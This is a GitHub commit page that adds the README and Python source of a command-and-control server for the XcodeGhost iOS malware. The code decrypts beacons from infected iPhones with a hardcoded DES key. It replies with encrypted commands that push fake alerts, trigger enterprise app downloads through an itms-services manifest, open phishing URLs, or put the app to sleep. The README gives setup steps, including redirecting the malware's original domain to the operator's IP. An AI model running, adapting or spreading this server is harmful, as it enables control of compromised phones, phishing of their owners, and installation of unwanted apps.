Skip to content

Commit 263e0d7

Browse files
committed
add readme and script.
1 parent d26b644 commit 263e0d7

File tree

2 files changed

+120
-2
lines changed

2 files changed

+120
-2
lines changed

README.md

Lines changed: 26 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,26 @@
1-
# Xcodeghost_server
2-
Xcodeghost_server
1+
# XcodeGhost_server
2+
3+
[![License MIT](https://img.shields.io/badge/License-MIT-blue.svg?style=flat)](https://github.com/Carthage/Carthage)
4+
5+
6+
**XcodeGhost_server** is the server program of XcodeGhost.
7+
8+
You can use it to receive encrypted information and send some commands to the iPhone that vulnerable.
9+
10+
## Depends
11+
12+
* **web.py** `sudo pip install web.py`
13+
* **pyDes** `sudo pip install pyDes`
14+
15+
## Usage
16+
17+
### Start Server
18+
```
19+
sudo python server.py 80
20+
```
21+
22+
**Windows** don't need `sudo`
23+
24+
### Domain Forward
25+
26+
You need forward `init.icloud-analysis.com` to your IP.

server.py

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
4+
import web
5+
from pyDes import *
6+
import binascii
7+
import json
8+
import re
9+
10+
11+
urls = (
12+
'/', 'Xcode_ghost'
13+
)
14+
15+
16+
def format_hex(alert_res):
17+
des_decode = des("stringWi", ECB, IV=None, pad=None, padmode=PAD_PKCS5)
18+
str_hex = des_decode.encrypt(alert_res)
19+
20+
alert_hex = '0065000a' + binascii.hexlify(str_hex)
21+
alert_len = hex((len(alert_hex)+8)/2)[2:]
22+
tmp = '0'*(8-len(alert_len)) + alert_len
23+
alert_finally = tmp + alert_hex
24+
res = binascii.a2b_hex(alert_finally)
25+
return res
26+
27+
28+
def alert(): #alert
29+
print "alert()"
30+
alert_res = '{"alertHeader":"titlemessage", \
31+
"alertBody":"bodymessage", \
32+
"appID":"0", \
33+
"cancelTitle":"cancel", \
34+
"confirmTitle":"OK", \
35+
"scheme":"mqqopensdkapiv2://qzapp"}'
36+
encodeAlert = format_hex(alert_res)
37+
return encodeAlert
38+
39+
40+
def download(): #download
41+
print "download"
42+
download_res = '{"configUrl":"itms-services://?action=download-manifest&url=https://www.xxx.com/download.plist", \
43+
"scheme":"mqqopensdkapiv2://qzapp"}'
44+
encodeDownload = format_hex(download_res)
45+
return encodeDownload
46+
47+
48+
def phishing(): #phishing
49+
print "phishing"
50+
phishing_res = '{"configUrl":"http://www.xxx.com", \
51+
"scheme":"mqqopensdkapiv2://qzapp"}'
52+
encodePhishing = format_hex(phishing_res)
53+
return encodePhishing
54+
55+
56+
def suspend(): #sleep
57+
print "sleep"
58+
suspend = '{"sleep":"-36000000"}'
59+
encodeSuspend = format_hex(suspend)
60+
return encodeSuspend
61+
62+
63+
class Xcode_ghost:
64+
def POST(self):
65+
data = web.data()
66+
data_hex = binascii.b2a_hex(data)
67+
bodyLen = int(data_hex[0:8],16)
68+
cmdLen = int(data_hex[8:12],16)
69+
ver = int(data_hex[12:16],16)
70+
71+
des_decode = des("stringWi", ECB, IV=None, pad=None, padmode=PAD_PKCS5)
72+
decode = des_decode.decrypt(data)
73+
jsonDecode = '{' + ''.join(re.findall("{([\s\S]*?)}",decode)).strip() + '}'
74+
print "\n\nbodyLen:",bodyLen,"cmdLen:",cmdLen,"ver:",ver,"\n",jsonDecode,"\n"
75+
jsonLoad = json.loads(jsonDecode)
76+
print 'status:' , jsonLoad["status"]
77+
78+
if jsonLoad["status"] == "launch":
79+
# response = phishing()
80+
response = download()
81+
print response
82+
elif jsonLoad["status"] == "resignActive":
83+
response = alert()
84+
print response
85+
elif jsonLoad["status"] == "suspend":
86+
response = suspend()
87+
print response
88+
89+
return response
90+
91+
92+
if __name__ == "__main__":
93+
app = web.application(urls, globals())
94+
app.run()

0 commit comments

Comments
 (0)